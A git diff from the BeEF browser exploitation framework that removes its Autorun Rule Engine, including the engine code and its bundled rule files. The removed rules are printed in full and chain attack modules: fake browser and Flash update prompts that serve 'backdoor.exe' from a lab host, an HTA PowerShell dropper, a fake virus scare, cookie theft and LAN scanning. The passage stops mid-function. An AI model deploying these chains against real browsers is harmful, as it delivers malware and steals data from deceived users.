diff --git a/arerules/alert.json b/arerules/alert.json deleted file mode 100644 index 0f6e537db5..0000000000 --- a/arerules/alert.json +++ /dev/null @@ -1,14 +0,0 @@ -{"name": "Display an alert", - "author": "mgeeky", - "modules": [ - {"name": "alert_dialog", - "condition": null, - "options": { - "text":"You've been BeEFed ;>" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/c_osx_test-return-mods.json b/arerules/c_osx_test-return-mods.json deleted file mode 100644 index 684d05c6fd..0000000000 --- a/arerules/c_osx_test-return-mods.json +++ /dev/null @@ -1,35 +0,0 @@ -{ - "name": "Test return debug stuff", - "author": "antisnatchor", - "browser": "S", - "browser_version": ">= 7", - "os": "OSX", - "os_version": "<= 10.10", - "modules": [{ - "name": "test_return_ascii_chars", - "condition": null, - "options": {} - }, { - "name": "test_return_long_string", - "condition": "status==1", - "code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';", - "options": { - "repeat": "10", - "repeat_string": "<>" - } - }, - { - "name": "alert_dialog", - "condition": "status=1", - "code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';", - "options":{"text":"<>"} - }, - { - "name": "get_page_html", - "condition": null, - "options": {} - }], - "execution_order": [0, 1, 2, 3], - "execution_delay": [0, 0, 0, 0], - "chain_mode": "nested-forward" -} \ No newline at end of file diff --git a/arerules/confirm_close_tab.json b/arerules/confirm_close_tab.json deleted file mode 100644 index c3a4a65a7d..0000000000 --- a/arerules/confirm_close_tab.json +++ /dev/null @@ -1,16 +0,0 @@ -{"name": "Confirm Close Tab", - "author": "mgeeky", - "modules": [ - {"name": "confirm_close_tab", - "condition": null, - "code": null, - "options": { - "text":"Are you sure you want to navigate away from this page?", - "usePopUnder":"true" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/enabled/README b/arerules/enabled/README deleted file mode 100644 index dee3c03d29..0000000000 --- a/arerules/enabled/README +++ /dev/null @@ -1,2 +0,0 @@ -Move here the ARE rule files that you want to pre-load when BeEF starts. -Make sure they are .json files (any other file extension is ignored). \ No newline at end of file diff --git a/arerules/ff_osx_extension-dropper.json b/arerules/ff_osx_extension-dropper.json deleted file mode 100644 index 4c6b388af7..0000000000 --- a/arerules/ff_osx_extension-dropper.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "name": "Firefox Extension Dropper", - "author": "antisnatchor", - "browser": "FF", - "os": "OSX", - "os_version": ">= 10.8", - "modules": [{ - "name": "firefox_extension_dropper", - "condition": null, - "options": { - "extension_name": "Ummeneske", - "xpi_name": "Ummeneske", - "base_host": "http://172.16.45.1:3000" - } - }], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/get_cookie.json b/arerules/get_cookie.json deleted file mode 100644 index 42e7cf4334..0000000000 --- a/arerules/get_cookie.json +++ /dev/null @@ -1,14 +0,0 @@ -{ - "name": "Get Cookie", - "author": "@benichmt1", - "modules": [ - {"name": "get_cookie", - "condition": null, - "options": { - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/ie_win_fakenotification-clippy.json b/arerules/ie_win_fakenotification-clippy.json deleted file mode 100644 index 22f8cbbdc6..0000000000 --- a/arerules/ie_win_fakenotification-clippy.json +++ /dev/null @@ -1,31 +0,0 @@ -{ - "name": "Ie Fake Notification + Clippy", - "author": "antisnatchor", - "browser": "IE", - "browser_version": "== 11", - "os": "Windows", - "os_version": ">= 7", - "modules": [ - { - "name": "fake_notification", - "condition": null, - "options": { - "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it." - } - } - ,{ - "name": "clippy", - "condition": null, - "options": { - "clippydir": "http://172.16.45.1:3000/clippy/", - "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?", - "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe", - "respawntime":"5000", - "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!" - } - } - ], - "execution_order": [0,1], - "execution_delay": [0,2000], - "chain_mode": "sequential" -} diff --git a/arerules/ie_win_htapowershell.json b/arerules/ie_win_htapowershell.json deleted file mode 100644 index d0c4776989..0000000000 --- a/arerules/ie_win_htapowershell.json +++ /dev/null @@ -1,26 +0,0 @@ -{ - "name": "HTA PowerShell", - "author": "antisnatchor", - "browser": "IE", - "os": "Windows", - "os_version": ">= 7", - "modules": [ - { - "name": "fake_notification", - "condition": null, - "options": { - "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:" - } - }, - { - "name": "hta_powershell", - "condition": null, - "options": { - "domain":"http://172.16.45.1:3000", - "ps_url":"/ps" - } - }], - "execution_order": [0,1], - "execution_delay": [0,500], - "chain_mode": "sequential" -} diff --git a/arerules/ie_win_missingflash-prettytheft.json b/arerules/ie_win_missingflash-prettytheft.json deleted file mode 100644 index e7620f677f..0000000000 --- a/arerules/ie_win_missingflash-prettytheft.json +++ /dev/null @@ -1,27 +0,0 @@ -{ - "name": "Fake missing plugin + Pretty Theft LinkedIn", - "author": "antisnatchor", - "browser": "IE", - "browser_version": ">= 8", - "os": "Windows", - "os_version": "== XP", - "modules": [{ - "name": "fake_notification_c", - "condition": null, - "options": { - "url": "http://172.16.45.1:3000/updates/backdoor.exe", - "notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. " - } - }, { - "name": "pretty_theft", - "condition": null, - "options": { - "choice": "Windows", - "backing": "Grey", - "imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png" - } - }], - "execution_order": [0, 1], - "execution_delay": [0, 5000], - "chain_mode": "sequential" -} \ No newline at end of file diff --git a/arerules/ie_win_test-return-mods.json b/arerules/ie_win_test-return-mods.json deleted file mode 100644 index 657bb2026c..0000000000 --- a/arerules/ie_win_test-return-mods.json +++ /dev/null @@ -1,35 +0,0 @@ -{ - "name": "Test return debug stuff", - "author": "antisnatchor", - "browser": "IE", - "browser_version": "<= 8", - "os": "Windows", - "os_version": ">= XP", - "modules": [{ - "name": "test_return_ascii_chars", - "condition": null, - "options": {} - }, { - "name": "test_return_long_string", - "condition": "status==1", - "code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';", - "options": { - "repeat": "10", - "repeat_string": "<>" - } - }, - { - "name": "alert_dialog", - "condition": "status=1", - "code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';", - "options":{"text":"<>"} - }, - { - "name": "get_page_html", - "condition": null, - "options": {} - }], - "execution_order": [0, 1, 2, 3], - "execution_delay": [0, 0, 0, 0], - "chain_mode": "nested-forward" -} \ No newline at end of file diff --git a/arerules/lan_cors_scan.json b/arerules/lan_cors_scan.json deleted file mode 100644 index 2d75b561f9..0000000000 --- a/arerules/lan_cors_scan.json +++ /dev/null @@ -1,25 +0,0 @@ -{"name": "LAN CORS Scan", - "author": "bcoles", - "browser": ["FF", "C"], - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "cross_origin_scanner_cors", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", - "options": { - "ipRange":"<>", - "ports":"80,8080", - "threads":"2", - "wait":"2", - "timeout":"10" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_cors_scan_common.json b/arerules/lan_cors_scan_common.json deleted file mode 100644 index 51f994e040..0000000000 --- a/arerules/lan_cors_scan_common.json +++ /dev/null @@ -1,19 +0,0 @@ -{"name": "LAN CORS Scan (Common IPs)", - "author": "bcoles", - "modules": [ - {"name": "cross_origin_scanner_cors", - "condition": null, - "code": null, - "options": { - "ipRange":"common", - "ports":"80,8080", - "threads":"2", - "wait":"2", - "timeout":"10" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/lan_fingerprint.json b/arerules/lan_fingerprint.json deleted file mode 100644 index b9a6313a49..0000000000 --- a/arerules/lan_fingerprint.json +++ /dev/null @@ -1,25 +0,0 @@ -{"name": "LAN Fingerprint", - "author": "bcoles", - "browser": ["FF", "C"], - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "internal_network_fingerprinting", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", - "options": { - "ipRange":"<>", - "ports":"80,8080", - "threads":"3", - "wait":"5", - "timeout":"10" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_fingerprint_common.json b/arerules/lan_fingerprint_common.json deleted file mode 100644 index 39d94d7f21..0000000000 --- a/arerules/lan_fingerprint_common.json +++ /dev/null @@ -1,19 +0,0 @@ -{"name": "LAN Fingerprint (Common IPs)", - "author": "antisnatchor", - "modules": [ - {"name": "internal_network_fingerprinting", - "condition": null, - "code": null, - "options": { - "ipRange":"common", - "ports":"80,8080", - "threads":"3", - "wait":"5", - "timeout":"10" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/lan_flash_scan.json b/arerules/lan_flash_scan.json deleted file mode 100644 index 2cf38eb2ac..0000000000 --- a/arerules/lan_flash_scan.json +++ /dev/null @@ -1,24 +0,0 @@ -{"name": "LAN Flash Scan", - "author": "bcoles", - "browser": ["FF", "C"], - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "cross_origin_scanner_flash", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", - "options": { - "ipRange":"<>", - "ports":"80,8080", - "threads":"2", - "timeout":"5" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_flash_scan_common.json b/arerules/lan_flash_scan_common.json deleted file mode 100644 index 859febf958..0000000000 --- a/arerules/lan_flash_scan_common.json +++ /dev/null @@ -1,19 +0,0 @@ -{"name": "LAN Flash Scan (Common IPs)", - "author": "bcoles", - "browser": ["FF", "C"], - "modules": [ - {"name": "cross_origin_scanner_flash", - "condition": null, - "code": null, - "options": { - "ipRange":"common", - "ports":"80,8080", - "threads":"2", - "timeout":"5" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/lan_http_scan.json b/arerules/lan_http_scan.json deleted file mode 100644 index ce900f5061..0000000000 --- a/arerules/lan_http_scan.json +++ /dev/null @@ -1,25 +0,0 @@ -{"name": "LAN HTTP Scan", - "author": "bcoles", - "browser": ["FF", "C"], - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "get_http_servers", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", - "options": { - "rhosts":"<>", - "ports":"80,8080", - "threads":"3", - "wait":"5", - "timeout":"10" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_http_scan_common.json b/arerules/lan_http_scan_common.json deleted file mode 100644 index 238a04983b..0000000000 --- a/arerules/lan_http_scan_common.json +++ /dev/null @@ -1,19 +0,0 @@ -{"name": "LAN HTTP Scan (Common IPs)", - "author": "bcoles", - "modules": [ - {"name": "get_http_servers", - "condition": null, - "code": null, - "options": { - "rhosts":"common", - "ports":"80,8080", - "threads":"3", - "wait":"5", - "timeout":"10" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/lan_ping_sweep.json b/arerules/lan_ping_sweep.json deleted file mode 100644 index 8f58ccc013..0000000000 --- a/arerules/lan_ping_sweep.json +++ /dev/null @@ -1,22 +0,0 @@ -{"name": "LAN Ping Sweep", - "author": "bcoles", - "browser": "FF", - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "ping_sweep", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", - "options": { - "rhosts":"<>", - "threads":"3" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_ping_sweep_common.json b/arerules/lan_ping_sweep_common.json deleted file mode 100644 index 4c21b7f3d0..0000000000 --- a/arerules/lan_ping_sweep_common.json +++ /dev/null @@ -1,17 +0,0 @@ -{"name": "LAN Ping Sweep (Common IPs)", - "author": "bcoles", - "browser": "FF", - "modules": [ - {"name": "ping_sweep", - "condition": null, - "code": null, - "options": { - "rhosts":"common", - "threads":"3" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/lan_port_scan.json b/arerules/lan_port_scan.json deleted file mode 100644 index 47d72e25f0..0000000000 --- a/arerules/lan_port_scan.json +++ /dev/null @@ -1,25 +0,0 @@ -{"name": "LAN Port Scan", - "author": "aburro & aussieklutz", - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "port_scanner", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;", - "options": { - "ipHost":"<>", - "ports":"80,8080", - "closetimeout":"1100", - "opentimeout":"2500", - "delay":"600", - "debug":"false" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/lan_sw_port_scan.json b/arerules/lan_sw_port_scan.json deleted file mode 100644 index 2405dc7782..0000000000 --- a/arerules/lan_sw_port_scan.json +++ /dev/null @@ -1,21 +0,0 @@ -{"name": "LAN SW Port Scan", - "author": "aburro & aussieklutz", - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "sw_port_scanner", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;", - "options": { - "ipHost":"192.168.1.10", - "ports":"80,8080" - } - } - ], - "execution_order": [0, 1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} diff --git a/arerules/man_in_the_browser.json b/arerules/man_in_the_browser.json deleted file mode 100644 index 31f9c370ef..0000000000 --- a/arerules/man_in_the_browser.json +++ /dev/null @@ -1,13 +0,0 @@ -{"name": "Perform Man-In-The-Browser", - "author": "mgeeky", - "modules": [ - {"name": "man_in_the_browser", - "condition": null, - "code": null, - "options": {} - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/raw_javascript.json b/arerules/raw_javascript.json deleted file mode 100644 index 6e7bca3e7d..0000000000 --- a/arerules/raw_javascript.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "name": "Raw JavaScript", - "author": "wade@bindshell.net", - "modules": [ - {"name": "raw_javascript", - "condition": null, - "options": { - "cmd": "alert(0xBeEF);" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/record_snapshots.json b/arerules/record_snapshots.json deleted file mode 100644 index 9d0178699d..0000000000 --- a/arerules/record_snapshots.json +++ /dev/null @@ -1,15 +0,0 @@ -{"name": "Collects multiple snapshots of the webpage within Same-Origin", - "author": "mgeeky", - "modules": [ - {"name": "spyder_eye", - "condition": null, - "options": { - "repeat":"10", - "delay":"3000" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "sequential" -} diff --git a/arerules/win_fake_malware.json b/arerules/win_fake_malware.json deleted file mode 100644 index f0daf95809..0000000000 --- a/arerules/win_fake_malware.json +++ /dev/null @@ -1,35 +0,0 @@ -// note: update your dropper URL (dropper.local) in each of the modules below -{ - "name": "Windows Fake Malware", - "author": "bcoles", - "os": "Windows", - "modules": [ - { - "name": "blockui", - "condition": null, - "options": { - "message": "

This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online.

Microsoft Malware Removal Toolkit

", - "timeout": "9999" - } - }, - { - "name": "text_to_voice", - "condition": null, - "options": { - "message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.", - "language": "en" - } - }, - { - "name": "fake_notification_ie", - "condition": null, - "options": { - "url": "http://dropper.local/malware_removal_tool.exe", - "notification_text": "SECURITY WARNING: Download the Microsoft Malware Removal Toolkit as soon as possible." - } - } - ], - "execution_order": [0,1,2], - "execution_delay": [0,0,0], - "chain_mode": "sequential" -} diff --git a/beef b/beef index 1473848982..3fa40ffa60 100755 --- a/beef +++ b/beef @@ -266,11 +266,6 @@ BeEF::Core::GeoIp.instance # BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) -# -# @note Load any ARE (Autorun Rule Engine) rules scanning the /arerules/enabled directory -# -BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory - # # @note Start the WebSocket server # diff --git a/config.yaml b/config.yaml index d054bd66f8..74e3179a08 100644 --- a/config.yaml +++ b/config.yaml @@ -102,19 +102,6 @@ beef: database: file: "beef.db" - # Autorun Rule Engine - autorun: - # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval - # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually - # continue execution regardless of results. - # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout. - result_poll_interval: 300 - result_poll_timeout: 5000 - - # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain. - # This is useful to call modules (nested-forward chain mode) that are not returning their status/results. - continue_after_timeout: true - # Enables DNS lookups on zombie IP addresses dns_hostname_lookup: false diff --git a/core/bootstrap.rb b/core/bootstrap.rb index 4f69dbf372..20dd1a9570 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -29,11 +29,6 @@ module Core require 'core/main/network_stack/assethandler' require 'core/main/network_stack/api' -# @note Include the autorun engine -require 'core/main/autorun_engine/parser' -require 'core/main/autorun_engine/engine' -require 'core/main/autorun_engine/rule_loader' - ## @note Include helpers require 'core/module' require 'core/modules' @@ -49,7 +44,6 @@ module Core require 'core/main/rest/handlers/logs' require 'core/main/rest/handlers/admin' require 'core/main/rest/handlers/server' -require 'core/main/rest/handlers/autorun_engine' require 'core/main/rest/api' ## @note Include Websocket diff --git a/core/core.rb b/core/core.rb index 53ad3c72f6..3e2b6d51c1 100644 --- a/core/core.rb +++ b/core/core.rb @@ -17,8 +17,6 @@ module Core require 'core/main/models/result' require 'core/main/models/optioncache' require 'core/main/models/browserdetails' -require 'core/main/models/rule' -require 'core/main/models/execution' require 'core/main/models/legacybrowseruseragents' # @note Include the constants diff --git a/core/main/ar-migrations/026_remove_autorun_tables.rb b/core/main/ar-migrations/026_remove_autorun_tables.rb new file mode 100644 index 0000000000..261c4577d9 --- /dev/null +++ b/core/main/ar-migrations/026_remove_autorun_tables.rb @@ -0,0 +1,11 @@ +class RemoveAutorunTables < ActiveRecord::Migration[6.0] + def up + drop_table :executions if table_exists?(:executions) + drop_table :rules if table_exists?(:rules) + end + + def down + # Cannot recreate these tables - ARE functionality has been removed + raise ActiveRecord::IrreversibleMigration + end +end diff --git a/core/main/autorun_engine/engine.rb b/core/main/autorun_engine/engine.rb deleted file mode 100644 index d5621dba5a..0000000000 --- a/core/main/autorun_engine/engine.rb +++ /dev/null @@ -1,589 +0,0 @@ -# -# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - https://beefproject.com -# See the file 'doc/COPYING' for copying permission -# -module BeEF - module Core - module AutorunEngine - class Engine - include Singleton - - def initialize - @config = BeEF::Core::Configuration.instance - - @result_poll_interval = @config.get('beef.autorun.result_poll_interval') - @result_poll_timeout = @config.get('beef.autorun.result_poll_timeout') - @continue_after_timeout = @config.get('beef.autorun.continue_after_timeout') - - @debug_on = @config.get('beef.debug') - - @VERSION = ['<', '<=', '==', '>=', '>', 'ALL'] - @VERSION_STR = %w[XP Vista 7] - end - - # Checks if there are any ARE rules to be triggered for the specified hooked browser. - # - # Returns an array with rule IDs that matched and should be triggered. - # if rule_id is specified, checks will be executed only against the specified rule (useful - # for dynamic triggering of new rulesets ar runtime) - def find_matching_rules_for_zombie(browser, browser_version, os, os_version) - rules = BeEF::Core::Models::Rule.all - - return if rules.nil? - return if rules.empty? - - # TODO: handle cases where there are multiple ARE rules for the same hooked browser. - # maybe rules need to have priority or something? - - print_info '[ARE] Checking if any defined rules should be triggered on target.' - - match_rules = [] - rules.each do |rule| - next unless zombie_matches_rule?(browser, browser_version, os, os_version, rule) - - match_rules.push(rule.id) - print_more("Hooked browser and OS match rule: #{rule.name}.") - end - - print_more("Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser.") - - match_rules - end - - # @return [Boolean] - # Note: browser version checks are supporting only major versions, ex: C 43, IE 11 - # Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1 - def zombie_matches_rule?(browser, browser_version, os, os_version, rule) - return false if rule.nil? - - unless zombie_browser_matches_rule?(browser, browser_version, rule) - print_debug("Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : does not match") - return false - end - - print_debug("Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : matched") - - unless zombie_os_matches_rule?(os, os_version, rule) - print_debug("OS version check -> (hook) #{os_version} #{rule.os_version} (rule): does not match") - return false - end - - print_debug("OS version check -> (hook) #{os_version} #{rule.os_version} (rule): matched") - - true - rescue StandardError => e - print_error e.message - print_debug e.backtrace.join("\n") - end - - # @return [Boolean] - # TODO: This should be updated to support matching multiple OS (like the browser check below) - def zombie_os_matches_rule?(os, os_version, rule) - return false if rule.nil? - - return false unless rule.os == 'ALL' || os == rule.os - - # check if the OS versions match - os_ver_rule_cond = rule.os_version.split(' ').first - - return true if os_ver_rule_cond == 'ALL' - - return false unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond) - - os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first - os_ver_rule_min = rule.os_version.split(' ').last.split('.').last - - if os_ver_rule_maj == 'XP' - os_ver_rule_maj = 5 - os_ver_rule_min = 0 - elsif os_ver_rule_maj == 'Vista' - os_ver_rule_maj = 6 - os_ver_rule_min = 0 - elsif os_ver_rule_maj == '7' - os_ver_rule_maj = 6 - os_ver_rule_min = 0 - end - - # Most of the times Linux/*BSD OS doesn't return any version - # (TODO: improve OS detection on these operating systems) - if !os_version.nil? && !@VERSION_STR.include?(os_version) - os_ver_hook_maj = os_version.split('.').first - os_ver_hook_min = os_version.split('.').last - - # the following assignments to 0 are need for later checks like: - # 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same - os_ver_hook_min = 0 if os_version.split('.').length == 1 - os_ver_rule_min = 0 if rule.os_version.split('.').length == 1 - else - # XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on. - # TODO: BUG: This will fail horribly if the target OS is Windows 7 or newer, - # as no version normalization is performed. - # TODO: Update this for every OS since Vista/7 ... - if os_version == 'XP' - os_ver_hook_maj = 5 - os_ver_hook_min = 0 - elsif os_version == 'Vista' - os_ver_hook_maj = 6 - os_ver_hook_min = 0 - elsif os_version == '7' - os_ver_hook_maj = 6 - os_ver_hook_min = 0 - end - end - - if !os_version.nil? || rule.os_version != 'ALL' - os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s) - os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s) - return false unless (os_major_version_match && os_minor_version_match) - end - - true - rescue StandardError => e - print_error e.message - print_debug e.backtrace.join("\n") - end - - # @return [Boolean] - def zombie_browser_matches_rule?(browser, browser_version, rule) - return false if rule.nil? - - b_ver_cond = rule.browser_version.split(' ').first - - return false unless @VERSION.include?(b_ver_cond) - - b_ver = rule.browser_version.split(' ').last - - return false unless BeEF::Filters.is_valid_browserversion?(b_ver) - - # check if rule specifies multiple browsers - if rule.browser =~ /\A[A-Z]+\Z/ - return false unless rule.browser == 'ALL' || browser == rule.browser - - # check if the browser version matches - browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s) - return false unless browser_version_match - else - browser_match = false - rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b| - if b == browser || b == 'ALL' - browser_match = true - break - end - end - return false unless browser_match - end - - true - rescue StandardError => e - print_error e.message - print_debug e.backtrace.join("\n") - end - - # Check if the hooked browser type/version and OS type/version match any Rule-sets - # stored in the BeEF::Core::Models::Rule database table - # If one or more Rule-sets do match, trigger the module chain specified - def find_and_run_all_matching_rules_for_zombie(hb_id) - return if hb_id.nil? - - hb_details = BeEF::Core::Models::BrowserDetails - browser_name = hb_details.get(hb_id, 'browser.name') - browser_version = hb_details.get(hb_id, 'browser.version') - os_name = hb_details.get(hb_id, 'host.os.name') - os_version = hb_details.get(hb_id, 'host.os.version') - - are = BeEF::Core::AutorunEngine::Engine.instance - rules = are.find_matching_rules_for_zombie(browser_name, browser_version, os_name, os_version) - - return if rules.nil? - return if rules.empty? - - are.run_rules_on_zombie(rules, hb_id) - end - - # Run the specified rule IDs on the specified zombie ID - # only if the rules match. - def run_matching_rules_on_zombie(rule_ids, hb_id) - return if rule_ids.nil? - return if hb_id.nil? - - rule_ids = [rule_ids.to_i] if rule_ids.is_a?(String) - - hb_details = BeEF::Core::Models::BrowserDetails - browser_name = hb_details.get(hb_id, 'browser.name') - browser_version = hb_details.get(hb_id, 'browser.version') - os_name = hb_details.get(hb_id, 'host.os.name') - os_version = hb_details.get(hb_id, 'host.os.version') - - are = BeEF::Core::AutorunEngine::Engine.instance - rules = are.find_matching_rules_for_zombie(browser_name, browser_version, os_name, os_version) - - return if rules.nil? - return if rules.empty? - - new_rules = [] - rules.each do |rule| - new_rules << rule if rule_ids.include?(rule) - end - - return if new_rules.empty? - - are.run_rules_on_zombie(new_rules, hb_id) - end - - # Run the specified rule IDs on the specified zombie ID - # regardless of whether the rules match. - # Prepare and return the JavaScript of the modules to be sent. - # It also updates the rules ARE execution table with timings - def run_rules_on_zombie(rule_ids, hb_id) - return if rule_ids.nil? - return if hb_id.nil? - - hb = BeEF::HBManager.get_by_id(hb_id) - hb_session = hb.session - - rule_ids = [rule_ids] if rule_ids.is_a?(Integer) - - rule_ids.each do |rule_id| - rule = BeEF::Core::Models::Rule.find(rule_id) - modules = JSON.parse(rule.modules) - - execution_order = JSON.parse(rule.execution_order) - execution_delay = JSON.parse(rule.execution_delay) - chain_mode = rule.chain_mode - - unless %w[sequential nested-forward].include?(chain_mode) - print_error("[ARE] Invalid chain mode '#{chain_mode}' for rule") - return - end - - mods_bodies = [] - mods_codes = [] - mods_conditions = [] - - # this ensures that if both rule A and rule B call the same module in sequential mode, - # execution will be correct preventing wrapper functions to be called with equal names. - rule_token = SecureRandom.hex(5) - - modules.each do |cmd_mod| - mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first - options = [] - replace_input = false - cmd_mod['options'].each do |k, v| - options.push({ 'name' => k, 'value' => v }) - replace_input = true if v == '<>' - end - - command_body = prepare_command(mod, options, hb_id, replace_input, rule_token) - - mods_bodies.push(command_body) - mods_codes.push(cmd_mod['code']) - mods_conditions.push(cmd_mod['condition']) - end - - # Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper - case chain_mode - when 'nested-forward' - wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token) - when 'sequential' - wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token) - else - # we should never get here. chain mode is validated earlier. - print_error("[ARE] Invalid chain mode '#{chain_mode}'") - next - end - - print_more "Triggering rules #{rule_ids} on HB #{hb_id}" - - are_exec = BeEF::Core::Models::Execution.new( - session_id: hb_session, - mod_count: modules.length, - mod_successful: 0, - rule_token: rule_token, - mod_body: wrapper, - is_sent: false, - rule_id: rule_id - ) - are_exec.save! - end - end - - private - - # Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay. - # Launch order is also taken care of. - # - sequential chain with delays (setTimeout stuff) - # ex.: setTimeout(module_one(), 0); - # setTimeout(module_two(), 2000); - # setTimeout(module_three(), 3000); - # Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring - # what their status will be (for instance, a bunch of XSRFs on a set of targets) - def prepare_sequential_wrapper(mods, order, delay, rule_token) - wrapper = '' - delayed_exec = '' - c = 0 - while c < mods.length - delayed_exec += %| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); | - mod_body = 